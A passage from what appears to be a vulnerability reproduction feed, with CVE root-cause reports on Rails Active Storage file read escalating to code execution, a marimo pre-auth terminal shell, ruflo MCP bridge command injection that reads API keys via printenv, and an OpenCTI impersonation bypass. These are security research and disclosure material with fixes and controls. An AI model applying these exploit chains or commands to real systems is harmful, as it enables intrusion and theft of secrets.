MCP authorization is enforced. ## Additional Notes - The reproduction is idempotent: the script rebuilds only when the resolved commit changes, restarts all services on each run, and cleans up background processes via a trap. - Edge cases: tools that DO declare legacy `authRequired` referencing the mcpEnabled generic authService are *not* bypassed on `/api` (claims come from the MCP context, which is empty there, yielding 401); the bypass applies to tools protected only via the MCP scope model, which is the configuration the fix commit targets ("clients could potentially bypass MCP authorization policies by using the legacy HTTP API"). - No public PoC existed; this reproduction was built from the fix-commit analysis of PR #3435. ### Reproduction - Reproduced: 2026-08-01T05:51:48.163Z - Duration: 2266s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00318 # or: pruva-verify CVE-2026-14537 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00318 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00318/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00318 ================================================================================ ## REPRO-2026-00317: Rails Active Storage variant processing arbitrary file read and potential RCE -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00317 - CVE: CVE-2026-66066 (https://nvd.nist.gov/vuln/detail/CVE-2026-66066) ### Package Information - Name: rails/rails - Ecosystem: github - Affected: activestorage < 7.2.3.2 (Rails 7.0.0-7.2.3.1 affected in default config); 8.0.0-8.0.5; 8.1.0-8.1.3; Rails 6.x only with non-default Active Storage config - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-1188 ### Root Cause # Root Cause Analysis — CVE-2026-66066 (GHSA-xr9x-r78c-5hrm) ## Summary Rails Active Storage's `:vips` variant processor (the default since Rails 7.0) passes attacker-uploaded files to libvips without disabling libvips' "untrusted" (unfuzzed) operations. On the standard Debian/Ubuntu libvips build — the same build shipped by the official `ruby` Docker images and installed by `rails new` generated Dockerfiles — the untrusted `matload` operation (matio + HDF5) is available. An unauthenticated attacker can upload a crafted MATLAB v7.3 (`.mat`/HDF5) file whose matrix data lives in **HDF5 external storage segments pointing at an arbitrary absolute path** on the server (e.g. `/proc/self/environ`). When Active Storage generates an image variant from the upload, libvips loads it with `matload`, and HDF5/matio transparently read the referenced file, returning its bytes as image pixels. The processed variant is served back to the attacker, yielding an **arbitrary file read as the Rails process user**, including the process environment with `SECRET_KEY_BASE`. Active Storage 8.0.5.1 / 7.2.3.2 / 8.1.3.1 fix this by calling `Vips.block_untrusted(true)` at boot (requiring libvips >= 8.13 and ruby-vips >= 2.2.1). ## Impact - Package/component: `activestorage` (Ruby on Rails) variant processing via `ruby-vips`/`image_processing` (`config.active_storage.variant_processor = :vips`, default with `load_defaults 7.0` and later). - Affected versions: activestorage < 7.2.3.2, >= 8.0 < 8.0.5.1, >= 8.1 < 8.1.3.1, with libvips linked against certain third-party libraries (Debian/Ubuntu default builds include matio/HDF5, ImageMagick, poppler, librsvg). - Risk level: critical. Unauthenticated arbitrary file read of any file the Rails process can read (environment secrets, credentials, other users' data). The advisory notes these secrets (especially `secret_key_base`) may enable remote code execution or lateral movement. ## Impact Parity - Disclosed/claimed maximum impact: remote code execution (via arbitrary file read -> secret_key_base -> RCE/lateral movement). - Reproduced impact in this run: **unauthenticated remote code execution** through the production HTTP path, chained as: 1. arbitrary file read — the Rails process environment (`/proc/self/environ`) is exfiltrated byte-exactly through the app's own `resize_to_limit: [100, 100]` variant, leaking `SECRET_KEY_BASE` (canary recovered, two independent attempts); 2. forged signed variation tokens — the leaked secret replicates `Rails.application.message_verifier("ActiveStorage")` offline and mints a variation token carrying an unvalidated `{"instance_eval": ""}` transformation (the `:vips` ImageProcessingTransformer performs no transformation validation; rails issue #56948); 3. code execution — delivering the forged token via `GET /rails/active_storage/representations/redirect///pwn.png` executes the Ruby in the Puma process (unique on-disk markers written in three fresh vulnerable processes; wrong-key control: 404, no marker; fixed 8.0.5.1: chain broken at step 1). - Parity: **full** — unauthenticated RCE on a default-configured app (variant_processor :vips, image_processing 1.x, untrusted uploads with variants displayed), matching the advisory's claimed maximum impact. ## Root Cause 1. **Missing hardening call.** Before the fix, Active Storage never called `Vips.block_untrusted(true)` (libvips >= 8.13) nor set `VIPS_BLOCK_UNTRUSTED`, so every libvips loader/saver flagged `VIPS_OPERATION_UNTRUSTED` ("unfuzzed") remained reachable for attacker-controlled uploads. libvips selects loaders by **content sniffing**, so the web-facing declared MIME type (`blob.content_type in variable_content_types`) does not constrain which loader actually parses the bytes. 2. **A loader that dereferences server-side paths.** The untrusted `VipsForeignLoadMat` (`matload`, via matio) reads MATLAB files; v7.3 `.mat` files are HDF5. HDF5 datasets may keep their payload in **external storage segments** (`H5Pset_external(name, offset, size)`), where `name` may be an absolute path. matio/HDF5 resolve and read those segments transparently, so a crafted dataset's pixel values become the raw bytes of an arbitrary server file. Details that make the payload viable: - libvips `vips__mat_ismat()` only accepts files starting with `MATLAB 5.0` (text prefix at offset 0); - matio's `Mat_Open()` ignores the descriptive text and decides v7.3/HDF5 purely from the header **version field `0x0200`** and endian indicator (`IM` on disk for little-endian), then calls `H5Fopen` (the HDF5 signature lives after the 512-byte user block); - matio requires a `MATLAB_class` attribute stored as a fixed-size, NUL-padded ASCII string. 3. **End-to-end exfil channel.** Active Storage's unauthenticated flow (direct upload -> representations URL) lets the attacker have a variant generated for their own blob: - `POST /rails/active_storage/direct_uploads` returns a `signed_id` for the crafted blob (declared `image/png`; no content verification at upload). `DiskController` skips CSRF protection for the subsequent PUT. - Variation URL tokens (`ActiveStorage.verifier.generate(transformations, purpose: :variation)`) sign **only the transformation hash**, not any blob id, so a token scraped from any public page that renders an image variant can be replayed against the attacker's own `signed_id`. - `RepresentationsController#show` synchronously processes the variant on first request and redirects to the stored PNG. - The ImageProcessing vips pipeline applies a sharpen convolution (`[-1,-1,-1; -1,32,-1; -1,-1,-1]/24`) after thumbnailing. The payload replicates each target byte into three consecutive pixels using **one 1-byte external-storage segment per pixel (3 segments per file byte)** and a 99x1 matrix, so (a) no resampling occurs under `resize_to_limit: [100, 100]`, and (b) each triple's center pixel has all-equal 3x3 neighbours and survives the convolution byte-exactly. One quirk matters for real apps: if the crafted blob is *attached* to a record, the analyzer rewrites `blob.content_type` to the sniffed `application/x-matlab-data`, after which `blob.variable?` is false and variants are refused (`ActiveStorage::InvariableError`). Orphan blobs created by direct upload are never analyzed, so the declared `image/png` stands — this is the path the exploit uses, and it requires no attachment. 4. **The fix.** `activestorage/lib/active_storage/vips.rb` (new in 8.0.5.1) loads ruby-vips at boot and calls `Vips.block_untrusted(true)`, raising at boot when libvips < 8.13 or ruby-vips < 2.2.1 ("unsecurable environment"). With it, `matload` (and svgload, pdfload, magickload, ...) raise `Vips::Error: matload: operation is blocked` — exactly the behavior the fixed build shows in this reproduction. Fix commit range: `v8.0.5...v8.0.5.1` (also 7.2.3.2, 8.1.3.1). ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; run with `PRUVA_ROOT=` or from `bundle/repro/`). 2. The script: - installs ruby (>= 3.2), libvips-dev/tools, python3-h5py, sqlite dev headers, bundler; - asserts the environment precondition: libvips >= 8.13 with `matload` present and flagged `untrusted` (Debian/Ubuntu default build); - generates a minimal but realistic Rails app twice — `rails/activestorage 8.0.5` (vulnerable) and `8.0.5.1` (fixed) — with `variant_processor = :vips`, Disk service, an unauthenticated upload form page (CSRF meta tag + a sample image variant URL), and `SECRET_KEY_BASE` sourced from the process environment containing a canary value; - boots each app with Puma (two clean attempts per build); - per attempt, as an unauthenticated attacker: GET / (session + CSRF token + scrape signed variation token), generate the `.mat` payload targeting `/proc/self/environ` at increasing offsets, direct-upload each payload (declared `image/png`), replay the scraped variation token against the attacker's own signed blob id, download the served variant PNG, and decode the exfiltrated bytes; - asserts the vulnerable builds leak `SECRET_KEY_BASE=KINDARAILS2SHELL_...` and the fixed builds fail closed with `Vips::Error (matload: operation is blocked)`. 3. Expected evidence: `RESULT: VULNERABILITY CONFIRMED` with `vulnerable leaks=2/2, fixed blocked=2/2`, exit code 0. ## Evidence - `bundle/logs/reproduction_steps.log` — full run log; key excerpts: - `[deps] vips-8.14.1` / `libvips matload present and marked untrusted` - `* activestorage (8.0.5)` vs `* activestorage (8.0.5.1)`, `image_processing (1.14.0)`, `ruby-vips (2.3.0)` - `[vuln 1] canary SECRET_KEY_BASE recovered from /proc/self/environ` followed by the leaked environment, containing `SECRET_KEY_BASE=KINDARAILS2SHELL_CANARY_...` (both attempts) - `[fixed 1/2] variant processing blocked: Vips::Error (matload: operation is blocked` - `bundle/logs/attempts/vuln_*/leaked_all.raw` — raw exfiltrated `/proc/self/environ` bytes (decoded from the served variant PNGs). - `bundle/logs/attempts/vuln_*/server.log`, `fixed_*/server.log` — Puma/Rails logs of both builds. - `bundle/logs/attempts/vuln_*/chunk_*/du.json`, `pwn.png` — per-chunk direct upload responses and served variant images. - `bundle/repro/runtime_manifest.json` — runtime manifest (entrypoint `endpoint`, service/health/target all true). - Environment: Debian bookworm (ruby:3.4-bookworm container), ruby 3.4.10, libvips 8.14.1 (matio/HDF5 build, `matload` untrusted), matio 1.5.21, HDF5 1.10, no sanitizers (production-path proof). ## Recommendations / Next Steps - Upgrade to activestorage 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (or later) **and** libvips >= 8.13; rotate `secret_key_base` and any credentials present in the application environment. - Stopgap on libvips >= 8.13: set `VIPS_BLOCK_UNTRUSTED=1` or call `Vips.block_untrusted(true)` in an initializer; on libvips < 8.13 remove the ruby-vips dependency entirely. - The same hardening should be considered defense-in-depth for *any* product that runs libvips on untrusted content without `block_untrusted`. - Escalation artifacts: `bundle/repro/escalation_experiments.sh` (runnable), `bundle/logs/escalation/escalation.log`, `rce_marker.txt`, `rce_marker2.txt` (unique markers written by injected code inside fresh Puma processes), `negative_control.json` + `srvNC.log` (wrong-key control, HTTP 404, no marker), `logs/escalation/leak/` (full-environ leak used to recover the complete secret). The second-stage `instance_eval` transformation injection relies on the `:vips` transformer applying no transformation validation (rails issue #56948); it is only reachable to an unauthenticated attacker because variation tokens are signed and the CVE-2026-66066 file read yields the signing secret. - Note for testing: `image_processing` 2.x independently calls `Vips.block_untrusted(true)` when it loads; pin observations accordingly when evaluating exploitability (this reproduction pins 1.14.0 so the only variable is the activestorage version). ## Additional Notes - Idempotency: the script resets each app's DB/storage per attempt and was run twice consecutively in a fresh container; both runs passed (`vulnerable leaks=2/2, fixed blocked=2/2`). - Other untrusted loaders on Debian/Ubuntu libvips (svgload, pdfload, openslideload, magickload, jxlload, jp2kload, fitsload, openexrload, analyzeload, radload, ppmload, csvload, rawload, vipsload, matload) are additional candidate vectors; the ImageMagick route is heavily restricted on Debian/Ubuntu by the `@*` path policy, MVG/MSL stealth registration and `StrictReadImage` nested-coder blocking, while the matload/HDF5 route used here works on the default build. The upstream disclosure notes the reported chain may differ; any single untrusted loader suffices to prove the CVE. - The chunk size (33 bytes/request) is an artifact of defeating the sharpen convolution under `resize_to_limit: [100, 100]`; larger chunks are possible with larger variant limits or format-only variants. - The escalation was additionally validated with negative controls: a forged token signed with a wrong key is rejected (HTTP 404, no marker), and the fixed app (8.0.5.1) blocks the initial file read (`matload: operation is blocked`), leaving the signing key unobtainable. See `bundle/learning/exploit_escalation.json` (outcome: demonstrated) and `bundle/repro/exploit_knowledge.json` for the recorded primitives and the derived command-execution capability. ### Reproduction - Reproduced: 2026-08-01T05:51:29.604Z - Duration: 8922s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00317 # or: pruva-verify CVE-2026-66066 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00317 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00317/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00317 ================================================================================ ## REPRO-2026-00316: marimo Pre-Auth RCE via Terminal WebSocket Authentication Bypass (/terminal/ws missing validate_auth) -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00316 - CVE: CVE-2026-39987 (https://nvd.nist.gov/vuln/detail/CVE-2026-39987) ### Package Information - Name: marimo - Ecosystem: github - Affected: <0.23.0 - Fixed: 0.23.0 - Severity: critical - CVSS: Unknown - CWE: CWE-306 (Missing Authentication for Critical Function) ### Root Cause # RCA Report — CVE-2026-39987: marimo Pre-Auth RCE via /terminal/ws ## Summary marimo's interactive terminal WebSocket endpoint (`/terminal/ws`) completely skipped authentication validation. marimo relies on Starlette's `AuthenticationMiddleware`, which only *marks* failed-auth connections as `UnauthenticatedUser` without actively rejecting WebSocket connections; real enforcement depends on endpoint-level checks. While the main `/ws` endpoint validates credentials, `/terminal/ws` had neither a `@requires("edit")` decorator nor a `validate_auth()` call, so an unauthenticated attacker could open a WebSocket and be handed a full interactive PTY shell running with the privileges of the marimo process — pre-authentication remote code execution. ## Impact - **Package/component:** `marimo` (Python notebook server), `marimo/_server/api/endpoints/terminal.py` — `/terminal/ws` WebSocket endpoint. - **Affected versions:** all versions `< 0.23.0` (verified on `0.22.5`). - **Risk level:** Critical (CVSS 9.3, EPSS 0.953, CISA KEV 2026-04-23, exploited in the wild). Consequences: unauthenticated remote attacker obtains an interactive OS shell with the marimo process's privileges (frequently root in Docker deployments), enabling reconnaissance, credential theft (e.g. `.env` cloud keys), lateral movement, and full host compromise. ## Impact Parity - **Disclosed/claimed maximum impact:** pre-authentication remote code execution (interactive PTY shell, arbitrary OS commands). - **Reproduced impact from this run:** identical — from a raw, credential-less WebSocket client we obtained a PTY shell and executed arbitrary commands (`echo PRUVA_VULN_A_$(id -u)_$(id -un)`), observing marker output `PRUVA_VULN_A1_1000_vscode` proving execution as the marimo server user (uid 1000). - **Parity:** `full`. - **Not demonstrated:** nothing material — the claim is fully reproduced, including the fixed-version negative control. ## Root Cause `marimo/_server/api/endpoints/terminal.py::websocket_endpoint` (vulnerable code at fix-commit parent `c24d4806398f30be6b12acd6c60d1d7c68cfd12a^`) performed only two checks before `websocket.accept()` and `pty.fork()`: 1. `app_state.mode != SessionMode.EDIT` → close. 2. `supports_terminal()` → close. There was **no authentication check**. Because Starlette's `AuthenticationMiddleware` does not reject unauthenticated WebSocket upgrades (it only attaches an `UnauthenticatedUser`), the absence of an explicit `validate_auth(websocket)` call meant anyone could reach the PTY-spawning code. Fix commit `c24d4806398f30be6b12acd6c60d1d7c68cfd12a` (PR #9098, released in 0.23.0) adds exactly: ```python from marimo._server.api.auth import validate_auth ... if app_state.enable_auth and not validate_auth(websocket): await websocket.close(WebSocketCodes.UNAUTHORIZED, "MARIMO_UNAUTHORIZED") return ``` aligning `/terminal/ws` with the auth validation used by the other WebSocket endpoints. Verified in this run: the patch hunk exists at the fixed commit, the parent commit lacks it, the installed 0.22.5 package lacks `validate_auth` in `terminal.py`, and the installed 0.23.0 package contains it. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (helper: `bundle/repro/ws_exploit_client.py`). 2. The script: - clones/uses the marimo source checkout and verifies the fix patch hunk; - creates two virtualenvs: `marimo==0.22.5` (vulnerable) and `marimo==0.23.0` (fixed); - starts each real server with token auth enabled (`marimo edit --headless --token-password topsecretpw`); - proves the HTTP auth gate is active (unauthenticated `/` → HTTP 303 login redirect); - as an unauthenticated attacker, opens a raw WebSocket to `/terminal/ws` (no token/cookie/header) and sends a shell command — **twice** against the vulnerable build (both yield PTY output with the unique marker) and **twice** against the fixed build (both rejected with HTTP 403 during the WS upgrade); - runs an authenticated positive control on the fixed build (valid `access_token` → terminal works), proving the fix blocks only unauthenticated access; - writes `bundle/repro/runtime_manifest.json`. 3. Expected evidence: vulnerable attempts print `RCE_CONFIRMED` with marker `PRUVA_VULN_A__` in PTY output; fixed attempts print `CONNECT_FAILED: InvalidStatus: server rejected WebSocket connection: HTTP 403`. ## Evidence - `bundle/logs/reproduction_steps.log` — full run transcript (verdict line: `vuln RCE attempts OK=2/2, fixed rejects OK=2/2, fixed auth control=1`). - `bundle/logs/server_vuln.log`, `bundle/logs/server_fixed.log` — server startup showing token auth (`URL: http://localhost:2718?access_token=topsecretpw`). - `bundle/logs/vuln_unauth_attempt1.log` / `...attempt2.log` — key excerpt: ``` echo PRUVA_VULN_A1_$(id -u)_$(id -un) vscode ➜ /tmp $ echo PRUVA_VULN_A1_$(id -u)_$(id -un) PRUVA_VULN_A1_1000_vscode RESULT: RCE_CONFIRMED marker observed in PTY output ``` (unauthenticated WS accepted → interactive shell → arbitrary command executed as uid 1000 `vscode`, the marimo process user). - `bundle/logs/fixed_unauth_attempt1.log` / `...attempt2.log` — `CONNECT_FAILED: InvalidStatus: server rejected WebSocket connection: HTTP 403`. - `bundle/logs/fixed_auth_control.log` — authenticated request on the fixed build still obtains the terminal (`PRUVA_FIXED_AUTH_1000_vscode`). - `bundle/logs/patch_hunk.txt` — the added `validate_auth` lines from the fix commit. - `bundle/repro/runtime_manifest.json` — `entrypoint_kind=endpoint`, `service_started=true`, `healthcheck_passed=true`, `target_path_reached=true`. - Environment: Python 3.14.4, pip-installed `marimo==0.22.5` / `marimo==0.23.0`, `websockets` client library, Linux x86_64. Script verified idempotent by two consecutive successful runs (exit 0 both times). ## Recommendations / Next Steps - **Upgrade** to marimo ≥ 0.23.0 immediately (fix: PR #9098 / commit `c24d4806398f30be6b12acd6c60d1d7c68cfd12a`). - **Fix approach (already upstream):** call `validate_auth(websocket)` and close with `WebSocketCodes.UNAUTHORIZED` before `websocket.accept()` whenever `enable_auth` is true — for every WebSocket endpoint, not just `/ws`. - **Defense in depth:** never expose `marimo edit` to untrusted networks; put it behind an authenticating reverse proxy; run it as an unprivileged user; audit any deployment that ran < 0.23.0 with a reachable port for compromise (unexpected PTY child processes, shell history, `.env` access). - **Testing:** add a regression test asserting unauthenticated `/terminal/ws` upgrades are rejected (upstream added one in `tests/_server/api/endpoints/test_terminal.py`). ## Additional Notes - **Idempotency:** the script is fully self-contained (installs its own venvs, manages server lifecycle with bounded waits and process-group cleanup) and passed twice consecutively with exit 0. - **Edge cases:** the vulnerability requires edit mode (`SessionMode.EDIT`, i.e. `marimo edit`, the default) and a POSIX platform with `pty` support — both are the standard deployment shape. Auth must be enabled (non-empty token), which is marimo's default when a token is generated or `--token-password` is set; with auth disabled the impact is identical but by design. - The advisory body text ("<= 0.20.4") understates the range; the structured range `< 0.23.0` is correct — 0.22.5 was confirmed vulnerable here. ### Reproduction - Reproduced: 2026-07-30T07:54:02.195Z - Duration: 1459s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00316 # or: pruva-verify CVE-2026-39987 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00316 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00316/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00316 ================================================================================ ## REPRO-2026-00315: Unauthenticated RCE in ruflo MCP bridge default docker-compose deployment -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00315 - CVE: CVE-2026-59726 (https://nvd.nist.gov/vuln/detail/CVE-2026-59726) ### Package Information - Name: ruflo - Ecosystem: npm - Affected: < 3.16.3 - Fixed: 3.16.3 - Severity: critical - CVSS: Unknown - CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) ### Root Cause # RCA Report — CVE-2026-59726 ## Summary The ruflo MCP bridge (`ruflo/src/ruvocal/mcp-bridge/index.js`, the service built by `ruflo/docker-compose.yml`) exposed `POST /mcp` and `POST /mcp/:group` with **no authentication** and bound to **0.0.0.0** by default. The only blocklist that referenced `terminal_execute` (`AUTOPILOT_BLOCKED_PATTERNS` + `isBlockedTool()`) was enforced solely in the autopilot SSE handler. The shared `executeTool()` function — invoked by `POST /mcp` and `POST /mcp/:group` for every `tools/call` — performed **no gate**, so an unauthenticated network attacker could call `tools/call` → `ruflo__terminal_execute`. The bridge routed that call to the ruflo MCP backend (`@claude-flow/cli`), whose `terminal_execute` handler runs `execSync(command)` on attacker-supplied input, yielding arbitrary command execution **as the `node` user (uid 1000) inside the bridge container**. ## Impact - **Package/component affected:** `ruflo` MCP bridge — `ruflo/src/ruvocal/mcp-bridge/index.js` (the bridge built by `ruflo/docker-compose.yml`, service `mcp-bridge`, port 3001). The dangerous tool implementation lives in the `ruflo` backend (`@claude-flow/cli`, `src/mcp-tools/terminal-tools.ts`, `execSync(command)`). - **Affected versions:** ruflo `< 3.16.3` (vulnerable at main commit `4e18ad84`, the parent of the fix). The default `docker-compose.yml` enabled the `devtools` tool group (`MCP_GROUP_DEVTOOLS=true`), which exposes `terminal_*` tools, and ran the bridge with no `MCP_AUTH_TOKEN` and no bind-host restriction. - **Risk level:** Critical. Unauthenticated remote code execution. From the shell as `node`, an attacker can read every provider API key from the container environment (`OPENAI_API_KEY`, `GOOGLE_API_KEY`, `OPENROUTER_API_KEY`, `ANTHROPIC_API_KEY`), spawn attacker-controlled swarms on the victim's keys, and persist poisoned patterns into the AgentDB learning store. ## Impact Parity - **Disclosed/claimed maximum impact:** Unauthenticated remote code execution (shell as `node` / uid 1000) via `POST /mcp` → `tools/call` → `terminal_execute`, with provider API key disclosure and AgentDB poisoning. - **Reproduced impact from this run:** Unauthenticated RCE confirmed end-to-end through the real running bridge container. A single `POST /mcp` `tools/call`/`ruflo__terminal_execute` request with **no authentication header** returned command output `uid=1000(node) gid=1000(node) groups=1000(node)` / `whoami=node`, wrote an attacker marker file to `/tmp` inside the container and read it back, and executed `printenv` for the provider keys (`exitCode: 0`). No API keys were present in the reproduction environment, so the env-leak primitive was exercised but produced empty values; the command-execution primitive is fully demonstrated. - **Parity:** `full` for the core claimed impact (unauthenticated RCE as `node` via `POST /mcp` → `terminal_execute`). The downstream consequences (key theft, swarm abuse, AgentDB poisoning) are direct implications of the demonstrated shell and were not separately exercised. ## Root Cause `createMcpHandler()` (per-group) and the catch-all `POST /mcp` handler both call `executeTool(name, toolArgs)` for `tools/call`. In the vulnerable code `executeTool()` only validated search-query shape and then routed unknown tool names to the matching external MCP backend via `backend.callTool()` — there was **no server-side deny list**. The `AUTOPILOT_BLOCKED_PATTERNS` array (containing `/terminal_execute/`) and `isBlockedTool()` were referenced only inside the autopilot SSE loop, never in `executeTool()`: ```js // vulnerable (4e18ad84) — executeTool() has NO gate: async function executeTool(name, args) { if (!args || typeof args !== "object") args = {}; // ... only search-query validation ... switch (name) { /* search, web_research, guidance */ default: { const activeTools = getActiveTools(); const extTool = activeTools.find(t => t.name === name); if (extTool) { const backend = mcpBackends.get(extTool._backend); if (backend) return backend.callTool(extTool._originalName, args); // -> execSync } }} } ``` The ruflo backend's `terminal_execute` runs the command verbatim: ```js // @claude-flow/cli src/mcp-tools/terminal-tools.ts output = execSync(command, { cwd, encoding: "utf-8", timeout, ... }); ``` Compounding factors in the default deployment: `app.listen(PORT)` binds all interfaces; no auth middleware; CORS `Access-Control-Allow-Origin: *`; the `devtools` group (prefix `terminal_`) is enabled by default; MongoDB bound to `0.0.0.0:27017` without `--auth`. **Fix commit:** `d00a0a40cd8bdbca877ac7f675f416bdc69accd1` (PR #2521, ADR-166 Phase 1–3). It adds a server-side `DANGEROUS_TOOLS` gate at the top of `executeTool()` (denies `terminal_execute` unless `MCP_ENABLE_TERMINAL=true`), a `requireAuth` bearer middleware (`timingSafeEqual`), `BIND_HOST=127.0.0.1` by default with fail-closed on public bind without `MCP_AUTH_TOKEN`, a CORS allowlist, and MongoDB `--auth` defaults. ## Reproduction Steps 1. See `bundle/repro/reproduction_steps.sh` (self-contained, executable). 2. The script resolves the ruflo repo (prepared project cache or fresh clone), checks out the vulnerable commit `4e18ad84` (=`d00a0a40^`) and the fixed commit `d00a0a40` into separate worktrees, sanity-checks that the vulnerable `index.js` lacks `DANGEROUS_TOOLS` and the fixed one has it, builds a real `node:20-slim` container for each commit (the ruflo MCP backend is the real published `ruflo` npm package; `terminal_execute` is verified present before baking), starts each container, and sends the actual unauthenticated `POST /mcp` `tools/call` → `ruflo__terminal_execute` request through the running HTTP service. It runs two clean vulnerable attempts and two clean fixed (negative-control) attempts, then writes `bundle/repro/runtime_manifest.json`. 3. Expected evidence (all under `bundle/`): - `artifacts/http/vuln_attempt1_response.json` — MCP result whose `text` contains `output: "uid=1000(node) ... ... ENV_LEAK:"`, `exitCode: 0` → RCE as `node`. - `artifacts/http/fixed_noauth_response.txt` — `{"error":"unauthorized"}` (HTTP 401). - `artifacts/http/fixed_attempt1_response.json` — `{"error":"Tool ... is disabled by default ...","code":"TOOL_DISABLED"}`; the marker is **absent** (command not executed). - `logs/reproduction_steps.log`, `logs/vuln_container.log`, `logs/fixed_container.log`. ## Evidence Key excerpts (from `bundle/artifacts/http/vuln_attempt1_response.json`, vulnerable bridge, **no Authorization header**): ``` "command": "id; whoami; echo PRUVA_RCE_ > /tmp/PRUVA_RCE_.txt; cat /tmp/PRUVA_RCE_.txt; echo ENV_LEAK:; printenv OPENAI_API_KEY GOOGLE_API_KEY OPENROUTER_API_KEY ANTHROPIC_API_KEY 2>/dev/null || true" "output": "uid=1000(node) gid=1000(node) groups=1000(node)\nnode\nPRUVA_RCE_\nENV_LEAK:\n" "exitCode": 0 ``` Fixed bridge negative control (`bundle/artifacts/http/fixed_attempt1_response.json`, with `Authorization: Bearer ...`): ``` { "error": "Tool \"ruflo__terminal_execute\" is disabled by default. Set MCP_ENABLE_TERMINAL=true to allow.", "code": "TOOL_DISABLED" } ``` Fixed bridge, no auth (`bundle/artifacts/http/fixed_noauth_response.txt`, HTTP 401): ``` {"error":"unauthorized"} ``` Environment: ruflo repo `ruvnet/ruflo`; vulnerable commit `4e18ad84c6c61be7ef43f62e371f8303a0f7517d`; fixed commit `d00a0a40cd8bdbca877ac7f675f416bdc69accd1`; bridge built from `ruflo/src/ruvocal/mcp-bridge` on `node:20-slim`; ruflo backend = published `ruflo` npm package (via `@claude-flow/cli`), `terminal_execute` confirmed in `tools/list` (331 backend tools, 185 exposed after group filtering). Container runs as `node` (uid 1000). ## Recommendations / Next Steps - Apply ADR-166 (PR #2521) fully: keep the `executeTool()` server-side gate as the single denial point for every path (not just autopilot); keep bearer auth + loopback bind by default; fail-closed on public bind without `MCP_AUTH_TOKEN`; keep `MCP_ENABLE_TERMINAL` opt-in; enforce MongoDB `--auth`. - Operators of any pre-fix exposed instance: firewall `:3001` and `:27017` immediately, rotate all provider API keys, and audit/purge the AgentDB pattern store for injected `agentdb_pattern-store` entries (a patched redeploy does **not** undo poisoning). - Add regression locks (the fix already ships `test-runtime-security.mjs` and `test-security-lock.js`) covering: unauthenticated `POST /mcp` `terminal_execute` → `TOOL_DISABLED`; authenticated call still gated unless `MCP_ENABLE_TERMINAL=true`; public bind without token → non-zero exit. ## Additional Notes - **Idempotency:** `reproduction_steps.sh` was executed three consecutive times; every run exited `0` with `confirmed=true`. It reuses a cached base tar / ruflo prefix / worktrees on a large scratch disk and re-imports fresh images each run. - **Build method note:** The default ruflo Dockerfile runs `npm install -g ruflo`, which resolves an >800 MB dependency tree that exceeds the 1 GB rootless-docker storage here, so a plain `docker build` runs out of space. The script instead assembles the container filesystem on the host's large workspace disk and imports it with `docker import` (single flat layer). The bridge `index.js` is the **unmodified** repo file at each commit, and the ruflo backend is the **real published package** (installed with `--omit=optional`, which still exposes `terminal_execute` because that tool only requires `node:child_process` `execSync`). The opt-in backends (`agentic-flow`, `gemini-mcp-server`, `@openai/codex`) and the `intelligence` (`ruvector`) backend are not part of the vulnerability path (`terminal_execute` is provided by the `devtools`/`ruflo` backend, default-on) and were omitted to fit storage; this does not affect the reproduction. - **Limitation:** No live provider API keys were set in the reproduction environment, so the env-leak output is empty; the `printenv` command executed successfully (demonstrating env access), and key disclosure is a direct implication of the demonstrated shell. ### Reproduction - Reproduced: 2026-07-30T07:51:15.165Z - Duration: 2085s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00315 # or: pruva-verify CVE-2026-59726 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00315 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00315/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00315 ================================================================================ ## REPRO-2026-00314: OpenCTI authentication bypass via user impersonation -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00314 - CVE: CVE-2026-27960 (https://nvd.nist.gov/vuln/detail/CVE-2026-27960) ### Package Information - Name: opencti - Ecosystem: docker - Affected: >= 6.6.0, < 6.9.13 (i.e. 6.6.0 through 6.9.12) - Fixed: 6.9.13 - Severity: critical - CVSS: Unknown - CWE: CWE-287 Improper Authentication (Improper Authentication) ### Root Cause # CVE-2026-27960 — OpenCTI Unauthenticated Authentication Bypass via User Impersonation ## Summary OpenCTI versions 6.6.0 through 6.9.12 contain an improper-authentication flaw (CWE-287) in the GraphQL API bearer-token resolution path. The function `authenticateUserByTokenOrUserId()` in `opencti-platform/opencti-graphql/src/domain/user.js` resolves the HTTP `Authorization: Bearer ` credential against the platform user cache map, which is keyed not only by each user's secret `api_token`, but also by every non-secret identifier of the user: `internal_id`, `standard_id`, and STIX ids (`buildStoreEntityMap()` in `opencti-platform/opencti-graphql/src/database/cache.ts` explicitly pushes `entity.api_token` into the same id list as `internal_id`/`standard_id`). As a result, an unauthenticated remote attacker can present **any known or guessable user identifier** — in particular the hard-coded default-admin `internal_id` `OPENCTI_ADMIN_UUID = 88ec0c6a-13ce-5e39-b486-354fe4a7084f` (`opencti-platform/opencti-graphql/src/schema/general.js`) — as the bearer token and is authenticated as that user without ever proving knowledge of the secret API token, password, or any credential. ## Impact - Package/component affected: 